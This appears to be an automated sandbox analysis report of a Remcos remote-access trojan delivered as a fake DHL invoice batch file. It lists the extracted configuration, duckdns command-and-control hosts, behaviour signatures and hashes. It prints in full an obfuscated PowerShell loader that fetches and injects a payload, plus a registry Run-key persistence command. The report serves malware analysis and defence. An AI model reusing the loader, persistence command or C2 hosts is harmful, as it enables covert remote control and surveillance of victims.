Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    18-10-2024 00:42

General

  • Target

    DHL_Shipping_Invoices_Awb_BL_000000000101620242247820020031808174Global180030010162024.bat

  • Size

    4KB

  • MD5

    89671e0720226be93c2656919ad5c32a

  • SHA1

    71351ff372ff8075aa021e9d352c98adedb4ea40

  • SHA256

    bde5f995304e327d522291bf9886c987223a51a299b80ab62229fcc5e9d09f62

  • SHA512

    5cb8bdec3293daee1ed6c67ad27421252ec55908240d8c1ff5f4a851991373180434a2e7e06d886f877a2ed04007abe009e6767348a41309c9ef04e8c5eda448

  • SSDEEP

    96:FZGj89ofWhaSyluf7/z+lab9Vkt2ElG1dm1Xde3c9xA1lxvU1TN:Dg8Se4uf7alXGvm1XKc9xCXvU1x

Malware Config

Extracted

Family

remcos

Botnet

Fire$

C2

iwarsut775laudrye2.duckdns.org:57484

iwarsut775laudrye2.duckdns.org:57483

iwarsut775laudrye3.duckdns.org:57484

hjnourt38haoust1.duckdns.org:57484

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    sfvnspt.dat

  • keylog_flag

    false

  • keylog_path

    %AppData%

  • mouse_option

    false

  • mutex

    shietgtst-EYGLP1

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\DHL_Shipping_Invoices_Awb_BL_000000000101620242247820020031808174Global180030010162024.bat"
    1⤵
    • System Network Configuration Discovery: Internet Connection Discovery
    • Suspicious use of WriteProcessMemory
    PID:2612
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden " <#functionation Nonascendant Civilkonomers Hindringerne holcad initialer Pacificatory #>;$Guvernanter='Pertentlig';<#udenrigsredaktrer schopenhauerism Kapitalstrke Paradigme #>;$Archplayer=$spasmers+$host.UI;function Belurings($Dimmed){If ($Archplayer) {$Forsagende++;}$Vandalsk=$Rensningsanlg+$Dimmed.'Length'-$Forsagende; for( $Phenylglyoxylic=2;$Phenylglyoxylic -lt $Vandalsk;$Phenylglyoxylic+=3){$Sknhedssvns++;$Abolishes27+=$Dimmed[$Phenylglyoxylic];$Pachydermatosis176='Egesborgs';}$Abolishes27;}function pensionr($Skaberaktapirs){ & ($Cinderman) ($Skaberaktapirs);}$Projektbeskrivelse34=Belurings ' M eo z,niCrlGalNoaPl/R. ';$Projektbeskrivelse34+=Belurings ' l5,n.Sg0No Se( lWStiBenUrd.roSew Ls,g R N nTTu St1 u0 H.sk0 k;Sl T WDoiDin 6Va4 e;Fi x,t6I 4 a;Ba E rFov o:Ch1Re3 o1 r. U0No)Ch T GTre ,c rk ao ./Sl2bi0Pl1 g0 ,0Ab1.c0ty1 . AFOviGrrBee.if Do FxDe/U.1G 3.o1 o.Ci0S ';$Songoi=Belurings 'ReuOusSteFeRTi-Tra,ugMeeRenKoTIc ';$Maskefang=Belurings ' thTatMutClp nsTr:Ha/Lu/ Tb a2IncEmaRas ee o.Blc eoB.m /TaSv u trdee 2 U. BpEnn,egBi>A,hKrtKyt fp .sM : o/ a/ abte2.oc iaA.sD eSaoN,nB eMi. Ac roInm /FaSspuC r.ce N2 u. pO,n Sg.i ';$Trekornsbrdenes=Belurings ' u>Ud ';$Cinderman=Belurings 'M iHuE AXBl ';$Brodie='Solbrmarmelades';$Sullow210='\Noncommemorative.Ela';pensionr (Belurings 'Sa$B GdiLAnoCub Ga.olR.:R p oO ACK KN Esht sfHou l =Br$ se aN TVIc:E APip AP ndU A CTS ATo+ H$K.s uuSsL AlUnoTiW T2Mi1 L0 T ');pensionr (Belurings 'Ka$ .gBeLO o .bNaADel e: dBroTonGrO irP.= P$bsm BA rS Dk MERoF iADiNTrGA..,eSKapBel TiA,t,r( .$ pt .r AEdyK,no cR ENDoS .b RbeDGeEGlnSmE Bsm.)Ex ');pensionr (Belurings 'Ci[ScN HETeTB .G sFye rr V CI ScKue .ppaOTeITrNhaTUdmE.aDoN SAB,G Ae PRP ]Ub:Kn:SlsLiEArcFluVaR .iPat KY tp TRVio StKao MCSeoBrlRa Ud=ta [TaNMieMatpo. UsA eUdCPauIgR.aI STHoy.aPH.R JOB.tC.OUaCMaONdLUntCiycepB EF,] h:Th:brT ilF S 1S 2 R ');$Maskefang=$Donor[0];$Trevrelseslejligheders=(Belurings ' l$ ug ,LKrO b HARel D: DBPra TBArY Aeovn,e= FnTaE Gwp.-a o BToj.oEvaCWot o FrsV,y ,sP T E fM m. nNArEInT.o.OrW,rESuBDuc RlLai DeMiNS tSp ');pensionr ($Trevrelseslejligheders);pensionr (Belurings 'V $ SB gaCob uy SeLyn F.apHVee aSidPheSar Rs a[ R$ uSCho unDigB,oB.iAf] B=Ak$TrP rPooOrjO eD,kAftKrb ee isSakk,rslifavD,e,el ts,ae T3 e4Tu ');$Varlet=Belurings 'Sk$ BScaBabS yPhe CnTo.A DMeoCowBonDol oRea ,dCaFSaiO lE eK,(Ka$PaMDeaOfs.mkU eA.fViaQunA g K, $E N eUngP rS oD.pBihpni lXai ysDet U)Ba ';$Negrophilist=$Pocketful;pensionr (Belurings ' $SlG,ulSnORibP ADelSu:K BJ.eH,cS.KUnedaDC.=.u(GrtBreTiS QtEl-ChpT aN TH.H,e P,$UbnFieTrGK REnoY pB h Ci LC I Ss ,TMa)St ');while (!$Becked) {pensionr (Belurings ' o$ Wg PlHooEnbA.a glNe:m CC rFuiWasTesToc,lrStoDes sTae esPe=Ko$ ntUnr au BeGr ') ;pensionr $Varlet;pensionr (Belurings 'HosOvT cA rRUdt j-Ams,elDee tE EPDa a4 T ');pensionr (Belurings 'Kr$ eg Hl BOBoB .a,nLHy: BCiE dCT,KDreUndUn=Fo( T PeSuSArT .-S P SALetK HPa $T,nTrE,dGBarDaoSvpFiH UI ml Ai aSTatVa)B ') ;pensionr (Belurings ' $.egKalVaOAkbmiAC.LPa:TaE,udM eSqMUlaSqtAsaMi=Mo$.yGBelI OInBMuASpl p:DapSkrNeeGrc,raBaNSaC TEUrLKoLBeEDed S+Pa+K %.n$GrdHjO,oNBao.nR I.Ovc doVaU on nt ') ;$Maskefang=$Donor[$Edemata];}$Despotismes=329108;$succesrigt=26476;pensionr (Belurings 'Fu$SaG nLbio .b TARel v:F.H FiBrnTidT e en DsBo M =St CG oEret l- LCSkoDanf tBoe TN Vt l Mi$UnnFee GgUnRPaO hpArh.nIC.L.lIReSNatCl ');pensionr (Belurings 'T.$S g llH.o tb ia .l ,: aPAkiUbn gSpe .r S Fl=P P [WoSFayKosPrt escm . UC no,vn OvP,ecyrKutUn] R:Sk: TFDerJ oK mFaB NauasNoeVr6Sc4O.SArtOcrdiiN n Eg u(B $GrH Ri ongyd ,eK n es E)Di ');pensionr (Belurings 'B.$reG ll oO DBT,aB lPr:B a ORBaBUnEudjFodO EKnrP M uK SP eN ET tPh Rb=St Ed[ Es YAzSS,TFeEAuM .inTToejaXViTBl.A E DnT.cKaoR DBuiM nFigHo] G:S :BrAabsF,cl ivaIB .S,gEtEReTMisStTS RJoiS,n GBe(Kr$InpCiicunRogBreUnRLi) R ');pensionr (Belurings 'De$M.G ILRvo,nbS a Bl k:MoTD oSuNV eRafIniO lFom lgOvEhunseG .IF vstEBeRLy=T.$ SAYpR .b e rjAkdSaEToRPrmK,U IsAreC ETetBe.,usCou,eBFosZetV RVaI RNReGAf(Hm$DiDAuE.nsBaPDiO,atKniR,sT MD,ETos,o,Pa$UnsS.U FC ,CMaeTrSBirMuIRaGgat d)R ');pensionr $Tonefilmgengiver;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2012
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#functionation Nonascendant Civilkonomers Hindringerne holcad initialer Pacificatory #>;$Guvernanter='Pertentlig';<#udenrigsredaktrer schopenhauerism Kapitalstrke Paradigme #>;$Archplayer=$spasmers+$host.UI;function Belurings($Dimmed){If ($Archplayer) {$Forsagende++;}$Vandalsk=$Rensningsanlg+$Dimmed.'Length'-$Forsagende; for( $Phenylglyoxylic=2;$Phenylglyoxylic -lt $Vandalsk;$Phenylglyoxylic+=3){$Sknhedssvns++;$Abolishes27+=$Dimmed[$Phenylglyoxylic];$Pachydermatosis176='Egesborgs';}$Abolishes27;}function pensionr($Skaberaktapirs){ & ($Cinderman) ($Skaberaktapirs);}$Projektbeskrivelse34=Belurings ' M eo z,niCrlGalNoaPl/R. ';$Projektbeskrivelse34+=Belurings ' l5,n.Sg0No Se( lWStiBenUrd.roSew Ls,g R N nTTu St1 u0 H.sk0 k;Sl T WDoiDin 6Va4 e;Fi x,t6I 4 a;Ba E rFov o:Ch1Re3 o1 r. U0No)Ch T GTre ,c rk ao ./Sl2bi0Pl1 g0 ,0Ab1.c0ty1 . AFOviGrrBee.if Do FxDe/U.1G 3.o1 o.Ci0S ';$Songoi=Belurings 'ReuOusSteFeRTi-Tra,ugMeeRenKoTIc ';$Maskefang=Belurings ' thTatMutClp nsTr:Ha/Lu/ Tb a2IncEmaRas ee o.Blc eoB.m /TaSv u trdee 2 U. BpEnn,egBi>A,hKrtKyt fp .sM : o/ a/ abte2.oc iaA.sD eSaoN,nB eMi. Ac roInm /FaSspuC r.ce N2 u. pO,n Sg.i ';$Trekornsbrdenes=Belurings ' u>Ud ';$Cinderman=Belurings 'M iHuE AXBl ';$Brodie='Solbrmarmelades';$Sullow210='\Noncommemorative.Ela';pensionr (Belurings 'Sa$B GdiLAnoCub Ga.olR.:R p oO ACK KN Esht sfHou l =Br$ se aN TVIc:E APip AP ndU A CTS ATo+ H$K.s uuSsL AlUnoTiW T2Mi1 L0 T ');pensionr (Belurings 'Ka$ .gBeLO o .bNaADel e: dBroTonGrO irP.= P$bsm BA rS Dk MERoF iADiNTrGA..,eSKapBel TiA,t,r( .$ pt .r AEdyK,no cR ENDoS .b RbeDGeEGlnSmE Bsm.)Ex ');pensionr (Belurings 'Ci[ScN HETeTB .G sFye rr V CI ScKue .ppaOTeITrNhaTUdmE.aDoN SAB,G Ae PRP ]Ub:Kn:SlsLiEArcFluVaR .iPat KY tp TRVio StKao MCSeoBrlRa Ud=ta [TaNMieMatpo. UsA eUdCPauIgR.aI STHoy.aPH.R JOB.tC.OUaCMaONdLUntCiycepB EF,] h:Th:brT ilF S 1S 2 R ');$Maskefang=$Donor[0];$Trevrelseslejligheders=(Belurings ' l$ ug ,LKrO b HARel D: DBPra TBArY Aeovn,e= FnTaE Gwp.-a o BToj.oEvaCWot o FrsV,y ,sP T E fM m. nNArEInT.o.OrW,rESuBDuc RlLai DeMiNS tSp ');pensionr ($Trevrelseslejligheders);pensionr (Belurings 'V $ SB gaCob uy SeLyn F.apHVee aSidPheSar Rs a[ R$ uSCho unDigB,oB.iAf] B=Ak$TrP rPooOrjO eD,kAftKrb ee isSakk,rslifavD,e,el ts,ae T3 e4Tu ');$Varlet=Belurings 'Sk$ BScaBabS yPhe CnTo.A DMeoCowBonDol oRea ,dCaFSaiO lE eK,(Ka$PaMDeaOfs.mkU eA.fViaQunA g K, $E N eUngP rS oD.pBihpni lXai ysDet U)Ba ';$Negrophilist=$Pocketful;pensionr (Belurings ' $SlG,ulSnORibP ADelSu:K BJ.eH,cS.KUnedaDC.=.u(GrtBreTiS QtEl-ChpT aN TH.H,e P,$UbnFieTrGK REnoY pB h Ci LC I Ss ,TMa)St ');while (!$Becked) {pensionr (Belurings ' o$ Wg PlHooEnbA.a glNe:m CC rFuiWasTesToc,lrStoDes sTae esPe=Ko$ ntUnr au BeGr ') ;pensionr $Varlet;pensionr (Belurings 'HosOvT cA rRUdt j-Ams,elDee tE EPDa a4 T ');pensionr (Belurings 'Kr$ eg Hl BOBoB .a,nLHy: BCiE dCT,KDreUndUn=Fo( T PeSuSArT .-S P SALetK HPa $T,nTrE,dGBarDaoSvpFiH UI ml Ai aSTatVa)B ') ;pensionr (Belurings ' $.egKalVaOAkbmiAC.LPa:TaE,udM eSqMUlaSqtAsaMi=Mo$.yGBelI OInBMuASpl p:DapSkrNeeGrc,raBaNSaC TEUrLKoLBeEDed S+Pa+K %.n$GrdHjO,oNBao.nR I.Ovc doVaU on nt ') ;$Maskefang=$Donor[$Edemata];}$Despotismes=329108;$succesrigt=26476;pensionr (Belurings 'Fu$SaG nLbio .b TARel v:F.H FiBrnTidT e en DsBo M =St CG oEret l- LCSkoDanf tBoe TN Vt l Mi$UnnFee GgUnRPaO hpArh.nIC.L.lIReSNatCl ');pensionr (Belurings 'T.$S g llH.o tb ia .l ,: aPAkiUbn gSpe .r S Fl=P P [WoSFayKosPrt escm . UC no,vn OvP,ecyrKutUn] R:Sk: TFDerJ oK mFaB NauasNoeVr6Sc4O.SArtOcrdiiN n Eg u(B $GrH Ri ongyd ,eK n es E)Di ');pensionr (Belurings 'B.$reG ll oO DBT,aB lPr:B a ORBaBUnEudjFodO EKnrP M uK SP eN ET tPh Rb=St Ed[ Es YAzSS,TFeEAuM .inTToejaXViTBl.A E DnT.cKaoR DBuiM nFigHo] G:S :BrAabsF,cl ivaIB .S,gEtEReTMisStTS RJoiS,n GBe(Kr$InpCiicunRogBreUnRLi) R ');pensionr (Belurings 'De$M.G ILRvo,nbS a Bl k:MoTD oSuNV eRafIniO lFom lgOvEhunseG .IF vstEBeRLy=T.$ SAYpR .b e rjAkdSaEToRPrmK,U IsAreC ETetBe.,usCou,eBFosZetV RVaI RNReGAf(Hm$DiDAuE.nsBaPDiO,atKniR,sT MD,ETos,o,Pa$UnsS.U FC ,CMaeTrSBirMuIRaGgat d)R ');pensionr $Tonefilmgengiver;"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2076
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\SysWOW64\msiexec.exe"
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2604
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Interpilaster" /t REG_EXPAND_SZ /d "%Chalcon% -windowstyle 1 $Tubinares=(gp -Path 'HKCU:\Software\Miljbeskyttelsesmsige\').Miliaria240;%Chalcon% ($Tubinares)"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2216
        • C:\Windows\SysWOW64\reg.exe
          REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Interpilaster" /t REG_EXPAND_SZ /d "%Chalcon% -windowstyle 1 $Tubinares=(gp -Path 'HKCU:\Software\Miljbeskyttelsesmsige\').Miliaria240;%Chalcon% ($Tubinares)"
          4⤵
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:2008

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8KMLXRTSU69DXCUCRRIQ.temp

    Filesize

    7KB

    MD5

    26cce2019dbe6096008fb886360d466d

    SHA1

    b04f02c3d0023cefb072c6e88a97f442a30e620d

    SHA256

    b57022d4ed214c7e234c89ff81da492379557944c47892d92396ac6acb6e40ee

    SHA512

    09be9f7f91991c16923b5cc6d8245db19fccaba975bd1192f6130e596b81167fdf7f3e6d426b56ba80d604676705bbd079c69ef37cf337b0fb939aa50a2df3dc

  • C:\Users\Admin\AppData\Roaming\Noncommemorative.Ela

    Filesize

    463KB

    MD5

    1329107cb8ff5ddf32bae433ea9e8d28

    SHA1

    a857bb30fe9ccfd9d7596fb7080c3ec87ec61a2f

    SHA256

    25a4a2f9466d57da786e2b62aa326d629e79b90e06d50f7259221e7d027ff035

    SHA512

    1971022ebeaebb60f78a642641a3fdf9609d1c30b1ff0af128ec5ba11a8a69d61dc1f7c2c9a3633d682de285eacb5a1f95a5dc7f4778c9c9246ceb524b6a5245

  • memory/2012-10-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2012-8-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2012-5-0x000000001B890000-0x000000001BB72000-memory.dmp

    Filesize

    2.9MB

  • memory/2012-9-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2012-4-0x000007FEF56CE000-0x000007FEF56CF000-memory.dmp

    Filesize

    4KB

  • memory/2012-11-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2012-13-0x000007FEF56CE000-0x000007FEF56CF000-memory.dmp

    Filesize

    4KB

  • memory/2012-14-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2012-16-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2012-6-0x0000000001F40000-0x0000000001F48000-memory.dmp

    Filesize

    32KB

  • memory/2012-7-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2076-20-0x00000000066C0000-0x000000000A934000-memory.dmp

    Filesize

    66.5MB

  • memory/2604-34-0x0000000000240000-0x00000000012A2000-memory.dmp

    Filesize

    16.4MB